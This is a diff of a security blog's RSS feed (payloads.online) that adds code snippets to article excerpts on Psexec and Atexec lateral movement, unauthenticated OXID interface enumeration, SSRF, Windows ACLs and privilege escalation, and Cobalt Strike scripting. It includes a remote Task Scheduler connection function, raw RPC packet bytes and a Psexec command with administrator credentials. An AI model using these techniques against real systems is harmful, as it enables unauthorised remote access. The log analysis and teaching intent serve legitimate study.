来源百度百科</p> @@ -1034,7 +2038,19 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 -</span></code></pr这是一个充满挑战的好时代https://payloads.online/archivers/2020-08-24/1/Mon, 24 Aug 2020 00:00:00 +0000https://payloads.online/archivers/2020-08-24/1/<p>我经常会写一些不着边际的东西,从我博客文章就可以看出现在的风格,前言不搭后语、文章主体和内容松散不一,说来惭愧,文化程度不高,也想抽空读读书花点功夫补缺一下。</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_NOACCESS 0x01 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_READONLY 0x02 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_READWRITE 0x04 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_WRITECOPY 0x08 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_EXECUTE 0x10 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_EXECUTE_READ 0x20 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_EXECUTE_READWRITE 0x40 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_EXECUTE_WRITECOPY 0x80 +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>看一下<a href="https://github.com/Rvn0xsy/BadCode/blob/master/BadCode/Source.cpp">第一课代码</a>编译出来的PE导出表:</p>这是一个充满挑战的好时代https://payloads.online/archivers/2020-08-24/1/Mon, 24 Aug 2020 00:00:00 +0000https://payloads.online/archivers/2020-08-24/1/<p>我经常会写一些不着边际的东西,从我博客文章就可以看出现在的风格,前言不搭后语、文章主体和内容松散不一,说来惭愧,文化程度不高,也想抽空读读书花点功夫补缺一下。</p> <p>近期发生了很多的事儿,很多时候在晚上会产生一些感触,但是都没有把它们给记录下来,现在点来一支烟,慢慢回忆……</p> <h2 id="第一个思考我感受到了自动化时代的冲击">第一个思考:我感受到了自动化时代的冲击</h2> <p>听闻关于演练的消息,也就一天时间,不知消息真假的情况下开始推论参赛厂商的自动化覆盖程度,发现整个行业的意识形态已经建立,未来(或已经存在的)漏洞战争的趋势已经开始逼近。</p> @@ -1064,7 +2080,28 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 -</span></code></pr通过OXID解析器获取Windows远程主机上网卡地址https://payloads.online/archivers/2020-07-16/1/Thu, 16 Jul 2020 00:00:00 +0000https://payloads.online/archivers/2020-07-16/1/<h2 id="0x00-背景">0x00 背景</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>&gt; POST /handler/ HTTP/1.1 +</span></span><span style="display:flex;"><span>&gt; Host: 192.168.0.1 +</span></span><span style="display:flex;"><span>&gt; User-Agent: Mozilla/5.0 <span style="color:#f92672">(</span>Windows NT 10.0; Win64; x64<span style="color:#f92672">)</span> AppleWebKit/537.36 <span style="color:#f92672">(</span>KHTML, like Gecko<span style="color:#f92672">)</span> Chrome/84.0.4147.135 Safari/537.36 +</span></span><span style="display:flex;"><span>&gt; Accept: */* +</span></span><span style="display:flex;"><span>&gt; Content-Length: <span style="color:#ae81ff">8</span> +</span></span><span style="display:flex;"><span>&gt; Content-Type: application/x-www-form-urlencoded +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>data<span style="color:#f92672">={</span><span style="color:#e6db74">&#39;username&#39;</span>:<span style="color:#e6db74">&#39;code&#39;</span><span style="color:#f92672">}</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt; HTTP/1.1 <span style="color:#ae81ff">200</span> OK +</span></span><span style="display:flex;"><span>&lt; Content-Type: text/html +</span></span><span style="display:flex;"><span>&lt; Server: Microsoft-IIS/7.5 +</span></span><span style="display:flex;"><span>&lt; X-Powered-By: ASP.NET +</span></span><span style="display:flex;"><span>&lt; Date: Sun, <span style="color:#ae81ff">23</span> Aug <span style="color:#ae81ff">2020</span> 14:13:45 GMT +</span></span><span style="display:flex;"><span>&lt; Content-Length: <span style="color:#ae81ff">1163</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>.... +</span></span></code></pre></td></tr></table> +</div> +</div><p>假设<code>code</code>是代码输入点,如果要进行漏洞的发现或利用,大部分人可能比较倾向于提交执行的代码:</p>通过OXID解析器获取Windows远程主机上网卡地址https://payloads.online/archivers/2020-07-16/1/Thu, 16 Jul 2020 00:00:00 +0000https://payloads.online/archivers/2020-07-16/1/<h2 id="0x00-背景">0x00 背景</h2> <p>Nicolas Delhaye在AIRBUS上分享了一篇<a href="https://airbus-cyber-security.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/">The OXID Resolver [Part 1] – Remote enumeration of network interfaces without any authentication</a>,通过这篇文章我们可以掌握通过Windows的一些DCOM接口进行网卡进行信息枚举,它最大的魅力在于无需认证,只要目标的135端口开放即可获得信息。</p> <h2 id="0x01-oxid-resolver---交互过程分析">0x01 OXID Resolver - 交互过程分析</h2> <p>OXID Resolver是在支持COM +的每台计算机上运行的服务。</p> @@ -1088,7 +2125,28 @@ <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 -</span></code></pr如何实现一个Atexechttps://payloads.online/archivers/2020-06-28/1/Sun, 28 Jun 2020 00:00:00 +0000https://payloads.online/archivers/2020-06-28/1/<h2 id="0x01-atexec一种横向方式">0x01 Atexec,一种横向方式</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00 +</span></span></code></pre></td></tr></table> +</div> +</div><p>第二个数据包:</p> +<p>这个包无需关注,因为我们最终要获得的是第四个数据包。</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>&#34;\x05\x00\x0c\x03\x10\x00\x00\x00\x3c\x00\x00\x00\x01\x00\x00\x00&#34; \ +</span></span><span style="display:flex;"><span>&#34;\xb8\x10\xb8\x10\x0a\x13\x00\x00\x04\x00\x31\x33\x35\x00\x00\x00&#34; \ +</span></span><span style="display:flex;"><span>&#34;\x01\x00\x00\x00\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11&#34; \ +</span></span><span style="display:flex;"><span>&#34;\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00&#34; +</span></span></code></pre></td></tr></table> +</div> +</div><p>可以选中对应的节点,直接复制<code>... as Escaped String</code>,这样就能够拿到十六进制Code。</p>如何实现一个Atexechttps://payloads.online/archivers/2020-06-28/1/Sun, 28 Jun 2020 00:00:00 +0000https://payloads.online/archivers/2020-06-28/1/<h2 id="0x01-atexec一种横向方式">0x01 Atexec,一种横向方式</h2> <p>Atexec是一个除了Psexec以外,被高频使用的横向方式,该技术手段主要通过任务计划实现,与<strong>时间</strong>有关。</p> <p>Atexec的主要特点是通过135端口进行任务计划任务的创建,同时通过445端口进行SMB认证,取回命令执行的结果。</p> <h2 id="0x02-执行过程">0x02 执行过程</h2> @@ -1139,7 +2197,30 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 -</span></code></pr如何实现一个Psexechttps://payloads.online/archivers/2020-04-02/1/Thu, 02 Apr 2020 00:00:00 +0000https://payloads.online/archivers/2020-04-02/1/<h2 id="0x01-psexec">0x01 Psexec</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">ConnectTaskServer</span>(LPCWSTR lpwsHost, LPCWSTR lpwDomain,LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) { +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 初始化COM组件 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hr <span style="color:#f92672">=</span> CoInitializeEx(NULL, COINIT_MULTITHREADED); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 设置组件安全等级 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hr <span style="color:#f92672">=</span> CoInitializeSecurity(NULL, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, <span style="color:#ae81ff">0</span>, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 创建任务服务容器 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hr <span style="color:#f92672">=</span> CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (<span style="color:#66d9ef">void</span><span style="color:#f92672">**</span>)<span style="color:#f92672">&amp;</span>pService); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 连接目标服务器为远程连接或本地服务器 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hr <span style="color:#f92672">=</span> pService<span style="color:#f92672">-&gt;</span>Connect(_variant_t(lpwsHost), _variant_t(lpwsUserName), _variant_t(lpwDomain), _variant_t(lpwsPassword)); <span style="color:#75715e">//默认本地 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> (FAILED(hr)) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> printf(<span style="color:#e6db74">&#34;ITaskService::Connect failed: %x </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, hr); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> pService<span style="color:#f92672">-&gt;</span>Release(); +</span></span><span style="display:flex;"><span> CoUninitialize(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> FALSE; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> TRUE; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p><a href="https://docs.microsoft.com/en-us/windows/win32/api/_taskschd/">Task Scheduler</a>提供了许多函数及接口来操作任务计划,但是凡是涉及COM组件的操作,都变得有些复杂,但至少实现Atexec涉及到的知识点并不多。</p>如何实现一个Psexechttps://payloads.online/archivers/2020-04-02/1/Thu, 02 Apr 2020 00:00:00 +0000https://payloads.online/archivers/2020-04-02/1/<h2 id="0x01-psexec">0x01 Psexec</h2> <p>Psexec被编写的初衷是为了方便服务器管理员管理大量的机器而开发的,但由于它的便捷,同时也被黑客使用。</p> <p>相信很多人都用过Psexec这款工具了,它由Sysinternals网站提供,Sysinternals这个网站由Mark Russinovich于1996年创建,用于托管他的高级系统实用程序和技术信息。</p> <p>下载地址:<a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">https://docs.microsoft.com/en-us/sysinternals/downloads/psexec</a></p> @@ -1160,7 +2241,59 @@ </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>.\PsExec.exe \\192.168.3.130 -u administrator -p 123456 cmd -</span></span></code></prSSRF漏洞配合Flask的巧妙利用 - 内网漫游https://payloads.online/archivers/2020-03-21/2/Sat, 21 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-21/2/<h2 id="ssrf-服务器请求伪造">SSRF 服务器请求伪造</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/9a80481e-4f5f-11ec-8868-00d861bf4abb.png" alt="2020-04-01-14-28-01"> + +</p> +<h3 id="查看安全日志">查看安全日志</h3> +<p>打开Win2008日志查看器,先查看安全(Security)日志:</p> +<p> + <img src="https://images.payloads.online/9ac1e990-4f5f-11ec-b8c6-00d861bf4abb.png" alt="2020-04-01-14-28-34"> + +</p> +<p>从日志查看器能够看到产生了多个安全审核日志,事件ID:4624,并且能够看到来源IP以及计算机名。</p> +<p><strong>认证类型NTLM:</strong></p> +<p> + <img src="https://images.payloads.online/9afc8960-4f5f-11ec-8a5c-00d861bf4abb.png" alt="2020-04-01-14-28-52"> + +</p> +<p>接着,还有事件ID为4648的日志,该条目的解释是:</p> +<blockquote> +<p>在进程尝试通过显式指定帐户的凭据来登录该帐户时生成此事件。这通常发生在批量类型的配置中(例如计划任务) 或者使用 RUNAS 命令时。</p> +</blockquote> +<p> + <img src="https://images.payloads.online/9b30adee-4f5f-11ec-bc7e-00d861bf4abb.png" alt="2020-04-01-14-29-07"> + +</p> +<p>可以看到很明显的PSEXECSVC.exe这个程序被启动。</p> +<p><strong>目前可以猜测:先进行Windows 认证,然后产生PSEXESVC.exe并启动。</strong></p> +<h3 id="查看系统日志">查看系统日志</h3> +<p> + <img src="https://images.payloads.online/9b70eecc-4f5f-11ec-8f84-00d861bf4abb.png" alt="2020-04-01-14-29-20"> + +</p> +<p>事件ID:7045向系统报告了一个名为“PSEXESVC”的服务被安装,同时紧接着事件ID:7036报告“PSEXESVC服务已经启动”。</p> +<p> + <img src="https://images.payloads.online/9bb77ac2-4f5f-11ec-9ed2-00d861bf4abb.png" alt="2020-04-01-14-29-34"> + +</p> +<p>通过事件ID报告的顺序,我们大致了解了PsEXEC的动作。</p> +<ol> +<li>事件ID:4624</li> +<li>事件ID:4648</li> +<li>事件ID:7045</li> +<li>事件ID:7036</li> +</ol> +<p>当PsExec执行exit退出交互式命令行后,会向系统报告事件ID:4634注销事件、事件ID:7036 PSEXESVC服务停止。</p> +<h2 id="0x03-从网络分析psexec利用过程">0x03 从网络分析Psexec利用过程</h2> +<p> + <img src="https://images.payloads.online/9bfb4126-4f5f-11ec-b938-00d861bf4abb.png" alt="2020-04-01-14-30-06"> + +</p> +<p>这里我使用Wireshark抓包工具,捕获了整个Psexec建立网络连接到exit退出的整个过程。</p> +<p>认证大致流程:</p>SSRF漏洞配合Flask的巧妙利用 - 内网漫游https://payloads.online/archivers/2020-03-21/2/Sat, 21 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-21/2/<h2 id="ssrf-服务器请求伪造">SSRF 服务器请求伪造</h2> <p>SSRF(Server-side Request Forge, 服务端请求伪造)。由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。</p> <h3 id="常见的功能点">常见的功能点</h3> <p> @@ -1198,7 +2331,30 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 -</span></code></prWindows特权提升漏洞-符号https://payloads.online/archivers/2020-03-21/1/Sat, 21 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-21/1/<h2 id="0x01-windows-特权提升漏洞分类">0X01 Windows 特权提升漏洞分类</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>POST /application/services/proxy/doPostAndGet HTTP/1.1 +</span></span><span style="display:flex;"><span>Host: app.domain.com +</span></span><span style="display:flex;"><span>Connection: keep-alive +</span></span><span style="display:flex;"><span>Content-Length: XX +</span></span><span style="display:flex;"><span>Content-Type: application/json +</span></span><span style="display:flex;"><span>Accept: */* +</span></span><span style="display:flex;"><span>Referer: http://app.domain.com/application/portal/ +</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate +</span></span><span style="display:flex;"><span>Accept-Language: zh-CN,zh;q=0.9 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> &#34;url&#34;:&#34;http://domain.com/sso?login&#34;, +</span></span><span style="display:flex;"><span> &#34;method&#34;:&#34;post&#34;, +</span></span><span style="display:flex;"><span> &#34;jsonBody&#34;:&#34;{\&#34;username\&#34;:\&#34;123456\&#34;}&#34; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="flask-框架">Flask 框架</h2> +<p> + <img src="https://images.payloads.online/9685f1a0-4f5f-11ec-b8a6-00d861bf4abb.png" alt="2020-03-21-17-02-11"> + +</p>Windows特权提升漏洞-符号https://payloads.online/archivers/2020-03-21/1/Sat, 21 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-21/1/<h2 id="0x01-windows-特权提升漏洞分类">0X01 Windows 特权提升漏洞分类</h2> <p>Windows 特权提升相信大家已经不陌生了,常见的场景如:NETWORK SERVICE → SYSTEM</p> <p>但从漏洞原理去了解,会发现利用漏洞利用本就是一个“使程序逻辑不按照正常方向运转”的过程。</p> <p>许多需要构建多个苛刻条件的Windows底层漏洞发现绝非偶然,也有许多Windows漏洞的发现是纯属偶然,它们是那么的容易可以利用,并且危害巨大。</p> @@ -1229,10 +2385,30 @@ <li>一个位标记,指示了这个ACE的类型;</li> <li>一组位标记,指示了安全描述符所属对象的子对象是否继承这个ACE;</li> </ol> -<p>所有的可访问对象都有三种ACE,分别是Access-denied ACE,Access-allowed ACE,System-audit ACE。Access-denied ACE用于拒绝账户访问,Access-allowed ACE用于允许账户访问,而System-audit ACE用于SACL中。</p>Cobalt Strike Aggressor Script (第一课)https://payloads.online/archivers/2020-03-02/4/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/4/<h2 id="前言">前言</h2> -<p>在后渗透阶段,目前较为流行的C2平台就属Cobalt Strike做的比较优秀了;目前国内的论坛、网站上已经放出很多版本,最新的为Cobalt Strike 3.14,目前最新版本4.0已不再有试用版。</p> -<p>起初我刚接触Cobalt Strike时,觉得非常不习惯,从Metasploit萌新走来,觉得这个图形化软件远远比不上Metasploit的模块丰富,后经过长时间的使用以及研究,从这个项目中学习到了很多技术,被开发者的思想所折服,应该算比较超前的一款值得学习的平台了。</p> -<h2 id="aggressor-script">Aggressor Script</h2> +<p>所有的可访问对象都有三种ACE,分别是Access-denied ACE,Access-allowed ACE,System-audit ACE。Access-denied ACE用于拒绝账户访问,Access-allowed ACE用于允许账户访问,而System-audit ACE用于SACL中。</p> +<p><em>当一个线程尝试去访问一个对象时,系统会检查线程持有的令牌以及被访问对象的安全描述符中的DACL。如果安全描述符中不存在DACL,则系统会允许线程进行访问。</em></p> +<p> + <img src="https://images.payloads.online/987be79e-4f5f-11ec-9011-00d861bf4abb.png" alt="2020-03-21-16-51-32"> + +</p> +<p>如果存在DACL,系统会顺序遍历DACL中的每个ACE,检查ACE中的SID在线程的令牌中是否存在。</p> +<p>当满足以下条件时,遍历会终止:</p> +<p>某个Access-denied ACE中的SID在线程令牌中存在,而且该ACE中的权限与线程要求的权限相符,此时系统拒绝该线程访问对象。</p> +<p>某个Access-allowed ACE中的SID在线程令牌中存在,而且该ACE中的权限与线程要求的权限相符,此时系统允许线程访问对象。所有ACE中的SID在线程令牌中均不存在,此时系统拒绝线程访问对象。</p> +<p>下图是转自MSDN的,Object对象的DACL中含有三个ACE:</p> +<ol> +<li>第一个ACE拒绝Andrew账户对Object进行读取,写入和执行操作;</li> +<li>第二个ACE允许Group A账户组中的所有账户对Object进行写入操作;</li> +<li>第三个ACE允许任何账户对Object进行读取和执行操作;</li> +</ol> +<p> + <img src="https://images.payloads.online/98c67232-4f5f-11ec-8ed9-00d861bf4abb.png" alt="2020-03-21-16-51-52"> + +</p> +<p>线程A试图访问Object,在遍历DACL的时候,遇到第一个ACE,满足上述的条件,遍历终止,线程A被拒绝访问Object,尽管线程A的访问令牌中含有Group A账户组的SID,并满足第二个ACE。同理,第三个ACE也没有被检查。对于线程B的分析是一样的,这里就不啰嗦了。可见ACE的排列顺序对线程能否访问对象是很重要的。</p>Cobalt Strike Aggressor Script (第一课)https://payloads.online/archivers/2020-03-02/4/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/4/<h2 id="前言">前言</h2> +<p>在后渗透阶段,目前较为流行的C2平台就属Cobalt Strike做的比较优秀了;目前国内的论坛、网站上已经放出很多版本,最新的为Cobalt Strike 3.14,目前最新版本4.0已不再有试用版。</p> +<p>起初我刚接触Cobalt Strike时,觉得非常不习惯,从Metasploit萌新走来,觉得这个图形化软件远远比不上Metasploit的模块丰富,后经过长时间的使用以及研究,从这个项目中学习到了很多技术,被开发者的思想所折服,应该算比较超前的一款值得学习的平台了。</p> +<h2 id="aggressor-script">Aggressor Script</h2> <p>Aggressor Script是Cobalt Strike 3.0版本以上的一个内置脚本语言,由<a href="http://sleep.dashnine.org/manual">Sleep语言</a>解析,Cobalt Strike 3.0以上版本的菜单、选项、事件都由default.cna构建。红队人员可以通过它来调用一些IRC、Webhook接口去对接机器人,实现自动化渗透与监控,Aggressor Script是Cobalt Strike这款C2平台的画龙点睛之笔。</p> <p>对于Python、C/C++爱好者来说,Sleep语言一开始接触的时候感觉很奇怪,会有很多想吐槽的点,但久而久之,就会发现它的便捷之处。</p> <h2 id="安装sleep语言环境">安装Sleep语言环境</h2> @@ -1263,7 +2439,35 @@ <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 -</span></code></prCobalt Strike Aggressor Script (第二课)https://payloads.online/archivers/2020-03-02/5/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/5/<p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span># create a List +</span></span><span style="display:flex;"><span>@foo = @(&#39;foo&#39;,123.0,&#39;bar&#39;); +</span></span><span style="display:flex;"><span>println(@foo[0]) +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/914ebd7a-4f5f-11ec-929e-00d861bf4abb.png" alt="2020-03-01-11-37-53"> + +</p> +<p>遍历:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">@</span>foo <span style="color:#f92672">=</span> <span style="color:#960050;background-color:#1e0010">@</span>(<span style="color:#e6db74">&#39;foo&#39;</span>,<span style="color:#ae81ff">123.0</span>,<span style="color:#e6db74">&#39;bar&#39;</span>); +</span></span><span style="display:flex;"><span>foreach <span style="color:#f92672">$</span><span style="color:#66d9ef">var</span> (<span style="color:#960050;background-color:#1e0010">@</span>foo) +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> println(<span style="color:#f92672">$</span><span style="color:#66d9ef">var</span>); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>Stacks 栈 - “后进先出”</p>Cobalt Strike Aggressor Script (第二课)https://payloads.online/archivers/2020-03-02/5/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/5/<p> <img src="https://images.payloads.online/928c40c2-4f5f-11ec-83fc-00d861bf4abb.png" alt=""> </p> @@ -1286,7 +2490,28 @@ </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> separator(); #分割线 </span></span><span style="display:flex;"><span>} -</span></span></code></prSQL Server注入 - STUFF与XML Pathhttps://payloads.online/archivers/2020-03-02/3/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/3/<h2 id="背景">背景</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p>一个菜单可以有多个item,也就是多个元素,元素中可以写动作代码,也可以写函数。</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span 